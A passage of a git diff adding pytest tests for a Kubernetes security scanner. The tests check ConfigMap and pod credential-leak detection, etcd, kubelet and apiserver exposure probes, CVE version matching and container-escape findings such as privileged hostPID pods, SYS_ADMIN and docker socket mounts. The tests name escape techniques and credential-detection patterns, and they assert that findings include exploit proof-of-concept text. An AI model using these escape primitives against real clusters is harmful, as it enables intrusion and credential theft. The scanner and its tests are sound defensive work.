scan_configmaps([cm]) if f.id == "CM-LEAK-BINARY-SUSPECT") + assert f.severity == "medium" + + +def test_binarydata_benign_name_not_flagged(): + cm = make_configmap(binary_data={"thumbnail.png": "YmFzZTY0"}) + ids = {f.id for f in scan_configmaps([cm])} + assert "CM-LEAK-BINARY-SUSPECT" not in ids + + +def test_one_finding_per_pattern_per_key(): + """Don't spam multiple findings of the same type for the same key.""" + # Two valid-shape AKIDs (AKIA + 16 alnum) in one value should yield one finding + big = "AKIAIOSFODNN7EXAMPLE something AKIAIOSFODNN7EXAMPL2" + cm = make_configmap(data={"creds": big}) + findings = scan_configmaps([cm]) + aws = [f for f in findings if f.id == "CM-LEAK-AWS-AKID"] + assert len(aws) == 1 diff --git a/tests/test_controlplane.py b/tests/test_controlplane.py new file mode 100644 index 0000000..a127627 --- /dev/null +++ b/tests/test_controlplane.py @@ -0,0 +1,118 @@ +"""Tests for control-plane exposure probes (etcd / insecure apiserver). + +We monkeypatch the TCP and HTTP primitives (imported into the +controlplane namespace) so no real sockets are opened β€” the focus is the +decision logic and the finding content. +""" +import pytest + +from kuberoast.scanners import controlplane as cp +from kuberoast.scanners.controlplane import ( + scan_control_plane, _control_plane_targets, _probe_etcd, _probe_insecure_apiserver, +) +from tests.conftest import make_node + + +def _patch(monkeypatch, open_ports, routes): + """open_ports: set of ints. routes: dict substring->(status, body).""" + monkeypatch.setattr(cp, "_tcp_open", lambda ip, port, timeout=1.5: port in open_ports) + + def fake_http(url, **kw): + for sub, resp in routes.items(): + if sub in url: + return resp + return (-1, "") + monkeypatch.setattr(cp, "_http_get", fake_http) + + +# ---------- etcd ---------- + +def test_etcd_noauth_critical(monkeypatch): + _patch(monkeypatch, {2379}, {":2379/version": (200, '{"etcdserver":"3.5.9","etcdcluster":"3.5.0"}')}) + findings = _probe_etcd("cp-0", "10.0.0.5") + f = next(f for f in findings if f.id == "CP-ETCD-NOAUTH") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "etcdctl" in (f.exploit or "") + assert "T1552.007" in f.attack_techniques + + +def test_etcd_reachable_but_auth_enforced(monkeypatch): + # TCP open, but /version doesn't return 200 (client-cert auth β†’ TLS rejects us) + _patch(monkeypatch, {2379}, {}) + findings = _probe_etcd("cp-0", "10.0.0.5") + ids = {f.id for f in findings} + assert "CP-ETCD-REACHABLE" in ids + assert "CP-ETCD-NOAUTH" not in ids + assert next(f for f in findings if f.id == "CP-ETCD-REACHABLE").severity == "high" + + +def test_etcd_peer_port_flagged(monkeypatch): + _patch(monkeypatch, {2379, 2380}, {}) + findings = _probe_etcd("cp-0", "10.0.0.5") + assert "CP-ETCD-PEER" in {f.id for f in findings} + + +def test_etcd_closed_no_findings(monkeypatch): + _patch(monkeypatch, set(), {}) + assert _probe_etcd("cp-0", "10.0.0.5") == [] + + +def test_etcd_plain_http(monkeypatch): + """Some clusters expose etcd over plain HTTP β€” also a CP-ETCD-NOAUTH.""" + _patch(monkeypatch, {2379}, {"http://10.0.0.5:2379/version": (200, '{"etcdserver":"3.4.0"}')}) + # https attempt returns -1, http attempt returns 200 + findings = _probe_etcd("cp-0", "10.0.0.5") + assert "CP-ETCD-NOAUTH" in {f.id for f in findings} + + +# ---------- insecure apiserver ---------- + +def test_insecure_apiserver_critical(monkeypatch): + _patch(monkeypatch, {8080}, {":8080/api": (200, '{"kind":"APIVersions","versions":["v1"]}')}) + findings = _probe_insecure_apiserver("cp-0", "10.0.0.5") + f = next(f for f in findings if f.id == "CP-APISERVER-INSECURE") + assert f.severity == "critical" + assert "system:anonymous" in (f.exploit or "") or "cluster-admin" in (f.exploit or "") + + +def test_port_8080_open_but_not_apiserver(monkeypatch): + _patch(monkeypatch, {8080}, {":8080/api": (404, "")}) + findings = _probe_insecure_apiserver("cp-0", "10.0.0.5") + f = next(f for f in findings if f.id == "CP-PORT-8080-OPEN") + assert f.severity == "low" + + +def test_apiserver_port_closed(monkeypatch): + _patch(monkeypatch, set(), {}) + assert _probe_insecure_apiserver("cp-0", "10.0.0.5") == [] + + +# ---------- target selection ---------- + +def test_targets_prefer_control_plane_nodes(): + cp_node = make_node(name="master", labels={"node-role.kubernetes.io/control-plane": ""}, + addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.1")]) + worker = make_node(name="worker", labels={}, + addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.2")]) + targets = _control_plane_targets([cp_node, worker]) + assert ("master", "10.0.0.1") in targets + assert ("worker", "10.0.0.2") not in targets + + +def test_targets_fallback_to_all_when_unlabeled(): + worker = make_node(name="worker", labels={}, + addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.2")]) + targets = _control_plane_targets([worker]) + assert ("worker", "10.0.0.2") in targets + + +def test_scan_control_plane_no_nodes(): + assert scan_control_plane([]) == [] + + +def test_scan_control_plane_end_to_end(monkeypatch): + _patch(monkeypatch, {2379}, {":2379/version": (200, '{"etcdserver":"3.5.9"}')}) + node = make_node(name="master", labels={"node-role.kubernetes.io/control-plane": ""}) + findings = scan_control_plane([node]) + assert "CP-ETCD-NOAUTH" in {f.id for f in findings} diff --git a/tests/test_cve.py b/tests/test_cve.py new file mode 100644 index 0000000..1d18e7c --- /dev/null +++ b/tests/test_cve.py @@ -0,0 +1,169 @@ +"""Tests for versionβ†’CVE correlation.""" +from kuberoast.scanners.cve import scan_cve, find_ingress_images +from kuberoast.utils import versions as V +from tests.conftest import make_node, make_pod, make_container, make_deployment + + +# ---------- version parsing ---------- + +def test_parse_plain_version(): + assert V.parse_version("v1.27.3") == (1, 27, 3) + + +def test_parse_version_with_distro_suffix(): + assert V.parse_version("v1.27.3-eks-a5565ad") == (1, 27, 3) + + +def test_parse_runtime(): + assert V.parse_runtime("containerd://1.6.21") == ("containerd", (1, 6, 21)) + assert V.parse_runtime("docker://20.10.7") == ("docker", (20, 10, 7)) + + +def test_parse_image_tag(): + repo, ver = V.parse_image_tag("registry.k8s.io/ingress-nginx/controller:v1.9.4") + assert ver == (1, 9, 4) + + +def test_parse_image_tag_with_port_no_tag(): + repo, ver = V.parse_image_tag("myregistry:5000/foo/bar") + assert ver is None + + +def test_parse_image_digest_only(): + repo, ver = V.parse_image_tag("foo/bar@sha256:abcd") + assert ver is None + + +# ---------- runc CVEs ---------- + +def test_runc_leaky_vessels_flagged(): + node = make_node(name="n1", container_runtime_version="containerd://1.6.21") + # containerd 1.6.21 bundles runc; we key the runc CVE on runtime:runc, so use a runc runtime string + node_runc = make_node(name="n2", container_runtime_version="runc://1.1.9") + findings = scan_cve(nodes=[node_runc]) + ids = {f.id for f in findings} + assert "CVE-2024-21626" in ids + f = next(f for f in findings if f.id == "CVE-2024-21626") + assert f.severity == "critical" + assert f.metadata.get("version") == "runc://1.1.9" + + +def test_runc_patched_not_flagged(): + node = make_node(name="n", container_runtime_version="runc://1.1.12") + findings = scan_cve(nodes=[node]) + assert "CVE-2024-21626" not in {f.id for f in findings} + + +def test_runc_5736_old_version(): + node = make_node(name="n", container_runtime_version="runc://0.1.1") + findings = scan_cve(nodes=[node]) + assert "CVE-2019-5736" in {f.id for f in findings} + + +# ---------- containerd ---------- + +def test_containerd_shim_cve(): + node = make_node(name="n", container_runtime_version="containerd://1.4.2") + findings = scan_cve(nodes=[node]) + assert "CVE-2020-15257" in {f.id for f in findings} + + +def test_containerd_patched(): + node = make_node(name="n", container_runtime_version="containerd://1.6.21") + findings = scan_cve(nodes=[node]) + assert "CVE-2020-15257" not in {f.id for f in findings} + + +# ---------- kube-apiserver / kubelet ---------- + +def test_apiserver_proxy_cve_old_server(): + findings = scan_cve(server_version="v1.9.0") + f = next(f for f in findings if f.id == "CVE-2018-1002105") + assert f.severity == "critical" + assert f.metadata.get("epss") is not None + + +def test_apiserver_proxy_cve_on_1_11_line(): + findings = scan_cve(server_version="v1.11.2") + assert "CVE-2018-1002105" in {f.id for f in findings} + + +def test_apiserver_proxy_cve_fixed_in_1_12_3(): + findings = scan_cve(server_version="v1.12.3") + assert "CVE-2018-1002105" not in {f.id for f in findings} + + +def test_modern_server_no_apiserver_cve(): + findings = scan_cve(server_version="v1.29.1") + assert "CVE-2018-1002105" not in {f.id for f in findings} + + +def test_subpath_cve_on_old_kubelet(): + node = make_node(name="n", kubelet_version="v1.20.5") + findings = scan_cve(nodes=[node]) + assert "CVE-2021-25741" in {f.id for f in findings} + + +# ---------- kernel (KEV) ---------- + +def test_kernel_fsconfig_kev_flagged(): + node = make_node(name="n", kernel_version="5.15.0-1031-aws") + findings = scan_cve(nodes=[node]) + f = next(f for f in findings if f.id == "CVE-2022-0185") + assert f.metadata.get("kev") == "true" + assert "verify" in (f.description or "").lower() # backport caveat present + + +def test_modern_kernel_no_fsconfig(): + node = make_node(name="n", kernel_version="6.9.0-generic") + findings = scan_cve(nodes=[node]) + assert "CVE-2022-0185" not in {f.id for f in findings} + + +# ---------- ingress-nginx ---------- + +def test_ingress_nightmare_flagged(): + findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.11.0", "deployment/ingress-nginx-controller")]) + f = next(f for f in findings if f.id == "CVE-2025-1974") + assert f.severity == "critical" + assert "0.91" in f.description or f.metadata.get("epss") + + +def test_ingress_nightmare_patched(): + findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.12.1", "deployment/ic")]) + assert "CVE-2025-1974" not in {f.id for f in findings} + + +def test_ingress_1_11_5_patched(): + findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.11.5", "deployment/ic")]) + assert "CVE-2025-1974" not in {f.id for f in findings} + + +# ---------- finder + de-dup ---------- + +def test_find_ingress_images_from_pod(): + c = make_container(name="controller", image="registry.k8s.io/ingress-nginx/controller:v1.9.4") + pod = make_pod(name="ingress-nginx-controller-abc", namespace="ingress-nginx", containers=[c]) + images = find_ingress_images([pod], []) + assert images + assert images[0][0].endswith("v1.9.4") + + +def test_find_ingress_images_from_deployment(): + c = make_container(name="controller", image="registry.k8s.io/ingress-nginx/controller:v1.9.4") + template = make_pod(containers=[c]).spec + deploy = make_deployment(name="ingress-nginx-controller", namespace="ingress-nginx", template_spec=template) + images = find_ingress_images([], [deploy]) + assert images + + +def test_no_versions_no_findings(): + assert scan_cve() == [] + + +def test_unaffected_everything_clean(): + node = make_node(name="n", kubelet_version="v1.29.3", + container_runtime_version="containerd://1.7.13", + kernel_version="6.9.1-generic") + findings = scan_cve(server_version="v1.29.3", nodes=[node]) + assert findings == [] diff --git a/tests/test_escapes.py b/tests/test_escapes.py new file mode 100644 index 0000000..d221522 --- /dev/null +++ b/tests/test_escapes.py @@ -0,0 +1,227 @@ +"""Tests for container escape primitive analysis. + +These tests are oriented around what an attacker actually does, not what +fields exist. Each test mirrors a real escape technique and asserts both +the finding ID and that the PoC command is populated (operators need it). +""" +from kuberoast.scanners.escapes import scan_escapes +from tests.conftest import ( + make_pod, make_container, make_host_path_volume, make_volume_mount, +) + + +# ---------- Privileged container escapes ---------- + +def test_privileged_plus_hostpid_is_critical_trivial(): + pod = make_pod( + containers=[make_container(privileged=True)], + host_pid=True, + ) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-PRIV-HOSTPID") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "nsenter" in (f.exploit or "") + assert "T1611" in f.attack_techniques + + +def test_privileged_plus_hostpid_skips_lesser_findings(): + """Once privileged+hostPID is flagged, no need to also flag ESC-PRIV separately β€” it short-circuits to keep noise down.""" + pod = make_pod( + containers=[make_container(privileged=True)], + host_pid=True, + ) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-PRIV-HOSTPID" in ids + assert "ESC-PRIV" not in ids + + +def test_privileged_only_still_critical(): + pod = make_pod(containers=[make_container(privileged=True)]) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-PRIV") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert f.exploit and "mount" in f.exploit + + +def test_non_privileged_no_escape_flagged(): + pod = make_pod(containers=[make_container(privileged=False)]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-PRIV" not in ids + assert "ESC-PRIV-HOSTPID" not in ids + + +# ---------- Capability-based escapes ---------- + +def test_sys_admin_critical_with_exploit(): + pod = make_pod(containers=[make_container(caps_add=["SYS_ADMIN"])]) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-CAP-SYS_ADMIN") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert f.exploit + + +def test_sys_module_critical(): + pod = make_pod(containers=[make_container(caps_add=["SYS_MODULE"])]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_MODULE") + assert f.severity == "critical" + assert "insmod" in (f.exploit or "") + + +def test_sys_ptrace_without_hostpid_is_hard(): + """SYS_PTRACE without hostPID can only ptrace in-container processes β€” hard to escape.""" + pod = make_pod( + containers=[make_container(caps_add=["SYS_PTRACE"])], + host_pid=False, + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_PTRACE") + assert f.exploitability == "hard" + assert f.severity == "medium" + + +def test_sys_ptrace_with_hostpid_is_easy(): + pod = make_pod( + containers=[make_container(caps_add=["SYS_PTRACE"])], + host_pid=True, + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_PTRACE") + assert f.exploitability == "easy" + + +def test_unrelated_capability_not_flagged(): + pod = make_pod(containers=[make_container(caps_add=["CHOWN", "FOWNER"])]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-CAP-CHOWN" not in ids + + +# ---------- hostPath escapes ---------- + +def test_docker_socket_mount_trivial_critical(): + pod = make_pod( + volumes=[make_host_path_volume(path="/var/run/docker.sock")], + ) + findings = scan_escapes(pod) + f = next(f for f in findings if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "docker" in (f.exploit or "").lower() + + +def test_containerd_socket_mount_trivial_critical(): + pod = make_pod( + volumes=[make_host_path_volume(path="/var/run/containerd/containerd.sock")], + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + assert "ctr" in (f.exploit or "") + + +def test_root_hostpath_critical(): + pod = make_pod(volumes=[make_host_path_volume(path="/")]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + + +def test_kubelet_state_dir_prefix_match(): + """Subpaths of sensitive dirs should still match (e.g. /var/lib/kubelet/pods/abc/...).""" + pod = make_pod( + volumes=[make_host_path_volume(path="/var/lib/kubelet/pods/abc-123")], + ) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert "kubelet" in (f.description or "").lower() or "kubelet" in (f.impact or "").lower() + + +def test_etc_kubernetes_hostpath(): + pod = make_pod(volumes=[make_host_path_volume(path="/etc/kubernetes")]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE") + assert f.severity == "critical" + + +def test_generic_hostpath_lower_severity(): + pod = make_pod(volumes=[make_host_path_volume(path="/tmp/app-data")]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-GENERIC") + assert f.severity == "medium" + + +# ---------- Writable /proc primitive ---------- + +def test_writable_core_pattern_trivial(): + """Mounting /proc/sys/kernel/core_pattern writable is a trivial host code-exec primitive.""" + c = make_container(volume_mounts=[ + make_volume_mount(mount_path="/proc/sys/kernel/core_pattern", read_only=False), + ]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-PROC-WRITE") + assert f.severity == "critical" + assert f.exploitability == "trivial" + assert "core_pattern" in (f.exploit or "") + + +def test_writable_proc_root_easy(): + c = make_container(volume_mounts=[ + make_volume_mount(mount_path="/proc", read_only=False), + ]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-PROC-WRITE") + assert f.severity == "high" + + +def test_readonly_proc_not_flagged(): + c = make_container(volume_mounts=[ + make_volume_mount(mount_path="/proc/sys/kernel/core_pattern", read_only=True), + ]) + pod = make_pod(containers=[c]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-PROC-WRITE" not in ids + + +# ---------- hostNetwork / hostIPC ---------- + +def test_hostnetwork_flagged_with_kubelet_poc(): + pod = make_pod(host_network=True) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTNET") + assert "10250" in (f.exploit or "") + assert f.exploitability == "easy" + + +def test_hostipc_flagged(): + pod = make_pod(host_ipc=True) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTIPC") + assert "ipcs" in (f.exploit or "") + + +# ---------- Root user multiplier ---------- + +def test_root_user_no_drop_emits_multiplier(): + """Plain root (no privileged, no caps) is a multiplier, medium severity.""" + pod = make_pod(containers=[make_container(run_as_user=0)]) + f = next(f for f in scan_escapes(pod) if f.id == "ESC-ROOT-NO-DROP") + assert f.severity == "medium" + assert f.exploitability == "moderate" + + +def test_root_user_with_caps_not_double_counted(): + """If the container already has dangerous caps, the root-multiplier finding shouldn't fire (the cap finding dominates).""" + pod = make_pod(containers=[make_container(run_as_user=0, caps_add=["SYS_ADMIN"])]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-CAP-SYS_ADMIN" in ids + assert "ESC-ROOT-NO-DROP" not in ids + + +def test_nonroot_user_no_multiplier(): + pod = make_pod(containers=[make_container(run_as_user=1000)]) + ids = {f.id for f in scan_escapes(pod)} + assert "ESC-ROOT-NO-DROP" not in ids + + +# ---------- Negative cases ---------- + +def test_clean_pod_produces_no_escape_findings(): + """Minimal hardened pod: non-root, no caps, no privileged, no hostNS, no hostPath.""" + c = make_container(privileged=False, run_as_user=1000, read_only_root_filesystem=True, + allow_privilege_escalation=False) + pod = make_pod(containers=[c]) + findings = scan_escapes(pod) + assert findings == [] diff --git a/tests/test_kubelet.py b/tests/test_kubelet.py new file mode 100644 index 0000000..faea1b2 --- /dev/null +++ b/tests/test_kubelet.py @@ -0,0 +1,212 @@ +"""Tests for active kubelet probing. + +We stand up a real local HTTP server (no mocking the urllib internals) +that returns different bodies/codes per path. This actually exercises +the HTTP handling code paths that production would hit. +""" +import threading +import socket +from http.server import BaseHTTPRequestHandler, HTTPServer +from types import SimpleNamespace +from typing import Dict, Tuple + +import pytest + +from kuberoast.scanners.kubelet import ( + _http_get, _tcp_open, _probe_readonly, _probe_api_port, scan_kubelet, +) + + +class _Handler(BaseHTTPRequestHandler): + routes: Dict[str, Tuple[int, str]] = {} + + def do_GET(self): + for path, (status, body) in self.routes.items(): + if self.path == path: + self.send_response(status) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(body.encode()) + return + self.send_response(404) + self.end_headers() + + def log_message(self, *args, **kwargs): + pass # silence test noise + + +def _free_port() -> int: + s = socket.socket() + s.bind(("127.0.0.1", 0)) + port = s.getsockname()[1] + s.close() + return port + + +@pytest.fixture +def http_server(): + """Yield (host, port, set_routes_fn). Server runs for the test, shuts down after.""" + port = _free_port() + handler = type("H", (_Handler,), {"routes": {}}) + srv = HTTPServer(("127.0.0.1", port), handler) + t = threading.Thread(target=srv.serve_forever, daemon=True) + t.start() + + def set_routes(routes: Dict[str, Tuple[int, str]]): + handler.routes = routes + + yield "127.0.0.1", port, set_routes + srv.shutdown() + srv.server_close() + + +def test_http_get_returns_status_and_body(http_server): + host, port, set_routes = http_server + set_routes({"/pods": (200, '{"kind":"PodList"}')}) + status, body = _http_get(f"http://{host}:{port}/pods") + assert status == 200 + assert "PodList" in body + + +def test_http_get_handles_404(http_server): + host, port, _ = http_server + status, _ = _http_get(f"http://{host}:{port}/nothing") + assert status == 404 + + +def test_http_get_handles_unreachable(): + status, _ = _http_get("http://127.0.0.1:1/x", timeout=0.5) + assert status == -1 + + +def test_tcp_open_true_for_listening(): + s = socket.socket() + s.bind(("127.0.0.1", 0)) + s.listen(1) + port = s.getsockname()[1] + try: + assert _tcp_open("127.0.0.1", port) is True + finally: + s.close() + + +def test_tcp_open_false_for_unbound(): + assert _tcp_open("127.0.0.1", 1) is False + + +def test_readonly_pods_endpoint_emits_critical(monkeypatch, http_server): + """When /pods returns a PodList, we should emit KUBELET-RO-PODS critical.""" + host, port, set_routes = http_server + set_routes({"/pods": (200, '{"kind":"PodList","items":[]}')}) + + # Make the probe target our test server's port instead of 10255 + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10255) + + captured = {} + orig_http = _http_get + + def fake_http(url, **kw): + # Rewrite 10255 β†’ our test port + url = url.replace(":10255/", f":{port}/") + captured["url"] = url + return orig_http(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + + findings = _probe_readonly("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-RO-PODS" in ids + pods_finding = next(f for f in findings if f.id == "KUBELET-RO-PODS") + assert pods_finding.severity == "critical" + assert pods_finding.exploitability == "trivial" + + +def test_readonly_metrics_emits_medium(monkeypatch, http_server): + host, port, set_routes = http_server + set_routes({ + "/pods": (200, "junk"), # not a PodList, won't trigger RO-PODS + "/metrics": (200, "# HELP foo bar"), + }) + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10255) + + def fake_http(url, **kw): + url = url.replace(":10255/", f":{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_readonly("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-RO-METRICS" in ids + + +def test_api_port_anon_pods_critical(monkeypatch, http_server): + """Anonymous /pods on 10250 = textbook game-over kubelet.""" + host, port, set_routes = http_server + set_routes({"/pods": (200, '{"kind":"PodList"}')}) + + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10250) + + def fake_http(url, **kw): + # rewrite https://...:10250 to http://...:port (test server is plain HTTP) + url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_api_port("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-API-ANON-PODS" in ids + f = next(f for f in findings if f.id == "KUBELET-API-ANON-PODS") + assert f.severity == "critical" + + +def test_api_port_401_emits_info(monkeypatch, http_server): + host, port, set_routes = http_server + set_routes({"/pods": (401, "")}) + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10250) + + def fake_http(url, **kw): + url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_api_port("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-API-AUTH" in ids + + +def test_configz_disclosure(monkeypatch, http_server): + host, port, set_routes = http_server + set_routes({ + "/pods": (200, "junk"), # not a podlist + "/configz": (200, '{"kubeletconfig":{"clusterDNS":["10.0.0.10"]}}'), + }) + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: p == 10250) + + def fake_http(url, **kw): + url = url.replace(f"https://{host}:10250/", f"http://{host}:{port}/") + return _http_get(url, **kw) + + monkeypatch.setattr("kuberoast.scanners.kubelet._http_get", fake_http) + findings = _probe_api_port("node-1", host) + ids = {f.id for f in findings} + assert "KUBELET-CONFIGZ" in ids + + +def test_scan_kubelet_handles_no_nodes(): + assert scan_kubelet([]) == [] + + +def test_scan_kubelet_skips_unreachable_nodes(monkeypatch): + """Nodes with no open ports should produce zero findings.""" + monkeypatch.setattr("kuberoast.scanners.kubelet._tcp_open", + lambda ip, p, timeout=1.5: False) + node = SimpleNamespace( + metadata=SimpleNamespace(name="n1"), + status=SimpleNamespace(addresses=[SimpleNamespace(type="InternalIP", address="10.0.0.1")]), + ) + assert scan_kubelet([node]) == [] diff --git a/tests/test_manifests.py b/tests/test_manifests.py new file mode 100644 index 0000000..57d3ad9 --- /dev/null +++ b/tests/test_manifests.py @@ -0,0 +1,185 @@ +"""Tests for offline manifest loader (shift-left mode).""" +import json +import os +from pathlib import Path + +import pytest + +from kuberoast.utils.manifests import load_manifests, _to_snake + + +def test_snake_conversion_basics(): + assert _to_snake("hostNetwork") == "host_network" + assert _to_snake("hostPID") == "host_pid" + assert _to_snake("hostIPC") == "host_ipc" + assert _to_snake("runAsUser") == "run_as_user" + assert _to_snake("allowPrivilegeEscalation") == "allow_privilege_escalation" + assert _to_snake("readOnlyRootFilesystem") == "read_only_root_filesystem" + assert _to_snake("automountServiceAccountToken") == "automount_service_account_token" + assert _to_snake("loadBalancerSourceRanges") == "load_balancer_source_ranges" + + +def test_snake_conversion_external_ips_quirk(): + """The kubernetes Python client uses external_i_ps (not external_ips) β€” we mirror that.""" + assert _to_snake("externalIPs") == "external_i_ps" + + +def test_load_single_pod_yaml(tmp_path: Path): + pytest.importorskip("yaml") + f = tmp_path / "pod.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Pod +metadata: + name: p1 + namespace: ns +spec: + containers: + - name: c + securityContext: + privileged: true +""") + grouped = load_manifests(str(tmp_path)) + assert "Pod" in grouped + pod = grouped["Pod"][0] + assert pod.metadata.name == "p1" + assert pod.spec.containers[0].security_context.privileged is True + + +def test_load_multidoc_yaml(tmp_path: Path): + pytest.importorskip("yaml") + f = tmp_path / "many.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Pod +metadata: + name: p1 +spec: + containers: [{name: c}] +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: d1 +spec: + template: + spec: + containers: [{name: c}] +""") + grouped = load_manifests(str(tmp_path)) + assert "Pod" in grouped and "Deployment" in grouped + + +def test_load_json_list(tmp_path: Path): + f = tmp_path / "list.json" + f.write_text(json.dumps({ + "kind": "List", + "items": [ + {"apiVersion": "v1", "kind": "Pod", "metadata": {"name": "a"}, "spec": {"containers": []}}, + {"apiVersion": "v1", "kind": "Service", "metadata": {"name": "s"}, "spec": {"type": "ClusterIP"}}, + ], + })) + grouped = load_manifests(str(tmp_path)) + assert len(grouped.get("Pod", [])) == 1 + assert len(grouped.get("Service", [])) == 1 + + +def test_skips_non_k8s_files(tmp_path: Path): + pytest.importorskip("yaml") + (tmp_path / "values.yaml").write_text("nameOverride: foo\nimage: x\n") + grouped = load_manifests(str(tmp_path)) + assert grouped == {} + + +def test_handles_unparseable_yaml_gracefully(tmp_path: Path): + pytest.importorskip("yaml") + (tmp_path / "broken.yaml").write_text("this is not :: valid: yaml: { :") + # Should not raise; broken file silently skipped + grouped = load_manifests(str(tmp_path)) + assert grouped == {} + + +def test_scanner_works_on_manifest_loaded_pod(tmp_path: Path): + """End-to-end: load a privileged pod from YAML, run scanner, get POD-PRIV.""" + pytest.importorskip("yaml") + f = tmp_path / "bad.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Pod +metadata: + name: bad-pod + namespace: prod +spec: + containers: + - name: c + securityContext: + privileged: true +""") + grouped = load_manifests(str(tmp_path)) + from kuberoast.scanners.pods import scan_pod_security + findings = scan_pod_security(grouped["Pod"][0]) + ids = {f.id for f in findings} + assert "POD-PRIV" in ids + + +def test_scanner_works_on_manifest_loaded_service(tmp_path: Path): + """externalIPs in YAML must reach the scanner correctly.""" + pytest.importorskip("yaml") + f = tmp_path / "svc.yaml" + f.write_text("""\ +apiVersion: v1 +kind: Service +metadata: + name: bad-svc + namespace: prod +spec: + type: ClusterIP + externalIPs: [1.2.3.4] +""") + grouped = load_manifests(str(tmp_path)) + from kuberoast.scanners.network import scan_services + findings = scan_services(grouped["Service"]) + ids = {f.id for f in findings} + assert "NET-EXTERNAL-IP" in ids + + +def test_deployment_template_reaches_pod_scanner(tmp_path: Path): + pytest.importorskip("yaml") + f = tmp_path / "deploy.yaml" + f.write_text("""\ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: bad-deploy + namespace: prod +spec: + template: + spec: + hostPID: true + containers: + - name: c + securityContext: + privileged: true +""") + grouped = load_manifests(str(tmp_path)) + from kuberoast.utils.workloads import synthesize_pod_from_workload + from kuberoast.scanners.escapes import scan_escapes + pod = synthesize_pod_from_workload(grouped["Deployment"][0], "Deployment") + findings = scan_escapes(pod) + ids = {f.id for f in findings} + assert "ESC-PRIV-HOSTPID" in ids + + +def test_nested_directories_walked(tmp_path: Path): + pytest.importorskip("yaml") + (tmp_path / "chart").mkdir() + (tmp_path / "chart" / "templates").mkdir() + (tmp_path / "chart" / "templates" / "pod.yaml").write_text("""\ +apiVersion: v1 +kind: Pod +metadata: {name: nested} +spec: {containers: [{name: c}]} +""") + grouped = load_manifests(str(tmp_path)) + assert "Pod" in grouped + assert grouped["Pod"][0].metadata.name == "nested" diff --git a/tests/test_podsecrets.py b/tests/test_podsecrets.py new file mode 100644 index 0000000..2ecd0da --- /dev/null +++ b/tests/test_podsecrets.py @@ -0,0 +1,75 @@ +"""Tests for hardcoded credentials in pod env / args / command.""" +from kuberoast.scanners.podsecrets import scan_pod_credentials +from tests.conftest import make_pod, make_container, make_env + + +def test_literal_aws_key_in_env(): + c = make_container(env=[make_env("AWS_ACCESS_KEY_ID", value="AKIAIOSFODNN7EXAMPLE")]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-AWS-AKID") + assert f.severity == "critical" + assert f.exploitability == "trivial" + + +def test_named_password_env_flagged(): + c = make_container(env=[make_env("DB_PASSWORD", value="sup3rs3cr3tvalue")]) + pod = make_pod(containers=[c]) + f = next(f for f in scan_pod_credentials(pod) if f.id == "ENV-LEAK-NAMED") + assert f.severity == "medium" + + +def 